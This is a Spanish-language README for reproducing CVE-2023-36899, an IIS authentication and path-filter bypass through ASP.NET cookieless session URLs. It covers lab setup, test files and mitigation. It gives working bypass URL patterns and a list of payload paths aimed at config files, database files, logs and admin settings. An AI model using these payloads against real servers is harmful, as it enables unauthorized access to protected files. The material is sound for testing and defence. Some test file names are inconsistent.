CVE-2023-36899

Entorno de reproducción y herramientas para la vulnerabilidad CVE-2023-36899, dirigida a la omisión de autenticación de sesión sin cookies en el framework ASP.NET.

Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899)

En el desarrollo web moderno, aunque las cookies son el método preferido para transmitir el ID de sesión, .NET Framework también ofrece un método alternativo: codificar el ID de sesión directamente en la URL. Esta técnica se conoce como la característica "sin cookies" en .NET Framework. Muchos desarrolladores y evaluadores de seguridad pasan por alto esta opción porque es rara en aplicaciones reales. Sin embargo, se ha convertido en un tesoro para descubrir vulnerabilidades del cliente, como fijación de sesión, secuestro de sesión, inyección de HTML y cross-site scripting. Además, esta característica puede ser explotada para evadir reglas de firewall basadas en rutas que no estén configuradas para reconocer el método sin cookies. Debido a problemas de seguridad inherentes, .NET Core y las versiones posteriores de .NET omitieron la característica sin cookies. Pero no podemos olvidar la gran cantidad de aplicaciones web que aún usan el .NET Framework clásico.

Puntos clave:

1. La característica sin cookies de .NET Framework puede ser abusada para acceder a directorios protegidos o bloqueados por los filtros de URL de IIS.
2. Mediante el uso de la característica sin cookies, se pueden evadir las comprobaciones de autenticación o filtrado de IIS.
3. Otro problema involucra cómo IIS gestiona los grupos de aplicaciones, lo que puede conducir a una escalada de privilegios o una evasión de seguridad.
4. A través de la característica sin cookies de .NET Framework, se puede forzar a una aplicación IIS a ejecutarse utilizando el grupo de aplicaciones de su padre en lugar del suyo propio.

Detalles de la vulnerabilidad:

1. Evasión de rutas restringidas en IIS

La característica sin cookies de .NET Framework puede ser abusada para acceder a directorios protegidos o bloqueados por los filtros de URL de IIS. Por ejemplo, considere la siguiente situación en el sitio victim.com:

• Una página en el directorio /protected/: /webform/protected/target1.aspx, que fuerza autenticación básica.
• Una página movida temporalmente a la carpeta /bin/: /webform/bin/target2.aspx, haciéndola inaccesible.

Normalmente, el acceso a estas páginas a través de estas URL sería bloqueado en IIS:

• http://10.0.2.15:8080/webform/protected/target1.aspx
• http://10.0.2.15:8080/webform/bin/target2.aspx

Pero la característica sin cookies se puede explotar para acceder a estas páginas mediante los siguientes patrones:

• http://10.0.2.15:8080/webform/(S(X))/prot/(S(X))ected/target1.aspx
• http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target2.aspx

2. Confusión de grupos de aplicaciones

La forma en que IIS gestiona los grupos de aplicaciones puede conducir a una escalada de privilegios o una evasión de seguridad. Es posible manipular la característica sin cookies de .NET Framework para forzar a una aplicación IIS a ejecutarse con el grupo de aplicaciones de su padre en lugar del suyo propio. Por ejemplo:

• La raíz (/) del sitio se ejecuta con el grupo de aplicaciones DefaultAppPool.
• La aplicación /classic/ se ejecuta con el grupo de aplicaciones .NET v4.5 Classic.
• La aplicación /classic/nodotnet/ se ejecuta con el grupo de aplicaciones NoManagedCodeClassic, que no soporta código administrado.

Un archivo C# llamado AppPoolPrint.aspx es accesible en todas las aplicaciones mencionadas y muestra el nombre del grupo de aplicaciones actual. Al usar la característica sin cookies dos veces, podemos ejecutar esta página con el grupo de aplicaciones de su padre:

• /(S(X))/(S(X))/classic/AppPoolPrint.aspx -> DefaultAppPool
• /(S(X))/(S(X))/classic/nodotnet/AppPoolPrint.aspx -> DefaultAppPool
• /classic/(S(X))/(S(X))/nodotnet/AppPoolPrint.aspx -> .NET v4.5 Classic

Esto permite que incluso las páginas en /classic/nodotnet/ (que no deberían ejecutar código administrado) ejecuten páginas ASPX usando el grupo de aplicaciones de su padre. Este comportamiento puede conducir a una escalada de privilegios en IIS.

Reproducción de la vulnerabilidad:

1. Preparación del entorno:

• Sistema operativo: instale una versión de Windows Server, por ejemplo, Windows Server 2016 o 2019.
• Servidor web: instale Internet Information Services (IIS).
• Framework de desarrollo: instale .NET Framework (no .NET Core ni .NET 5+).

Al instalar IIS, seleccione

• Servidor web:
  • Características HTTP comunes:
    • Contenido estático
    • Documento predeterminado
    • Exploración de directorios
    • Errores HTTP
  • Desarrollo de aplicaciones:
    • Extensibilidad .NET (correspondiente a su versión de .NET Framework: 4.5)
    • ASP.NET (correspondiente a su versión de .NET Framework: 4.5)
    • Extensiones ISAPI
    • Filtros ISAPI
• Estado y diagnóstico:
  • Registro HTTP
  • Supervisión de solicitudes
  • Herramientas de registro
• Seguridad:
  • Filtrado de solicitudes
  • Autenticación básica
  • Autenticación de Windows

2. Configurar IIS:

1. Abra el Administrador de IIS.
2. Cree un nuevo sitio web.
3. En el nuevo sitio, cree varios directorios, por ejemplo, /webform, /webform/protected y /webform/bin.
4. En el directorio /protected/, configure la autenticación básica.
5. Mueva la página /webform/bin/target.aspx a la carpeta /bin/ para que no sea accesible directamente. (El directorio bin no es accesible por defecto en IIS porque contiene programas compilados sensibles).

3. Crear páginas de prueba:

1. En el directorio /webform/protected/, cree una página llamada target.aspx.
2. En el directorio /webform/bin/, cree una página llamada target.aspx.
3. En cada aplicación, cree una página llamada AppPoolPrint.aspx que pueda mostrar el nombre del grupo de aplicaciones actual.

Contenido de prueba del archivo target.aspx:

<%@ Page Language="C#" %>
    <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ASPX Test</title>
</head>
<body>
    This is a static text. <br>
    Dynamic text: <%= DateTime.Now.ToString() %>
        </body>
</html>

Contenido de prueba del archivo web.config en la raíz:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
        <compilation debug="true" targetFramework="4.5" />
        <httpRuntime targetFramework="4.5" />
        <sessionState mode="InProc" cookieless="UseCookies" />
    </system.web>
</configuration>

Donde significa que el sitio web usa cookies para almacenar cierta información de sesión predeterminada, etc. Esto también es lo predeterminado.

4. Reproducir la vulnerabilidad:

1. Intente acceder directamente a /webform/protected/target.aspx y /webform/bin/target.aspx. Debería ser bloqueado o se le pedirá autenticación.

Usando http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx se accede con éxito

2. Use la característica sin cookies para intentar acceder a estas páginas, por ejemplo:
   • https://yourserver/webform/(S(X))/prot/(S(X))ected/target.aspx
   • https://yourserver/webform/(S(X))/b/(S(X))in/target.aspx Debería poder evadir la autenticación o los filtros para acceder a estas páginas.

Recomendaciones de mitigación

1. Bloquee la característica /S(X)) en el WAF.
2. Instale el parche correspondiente en el servidor: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899

Posible lista de payloads:

/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....

referencias:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899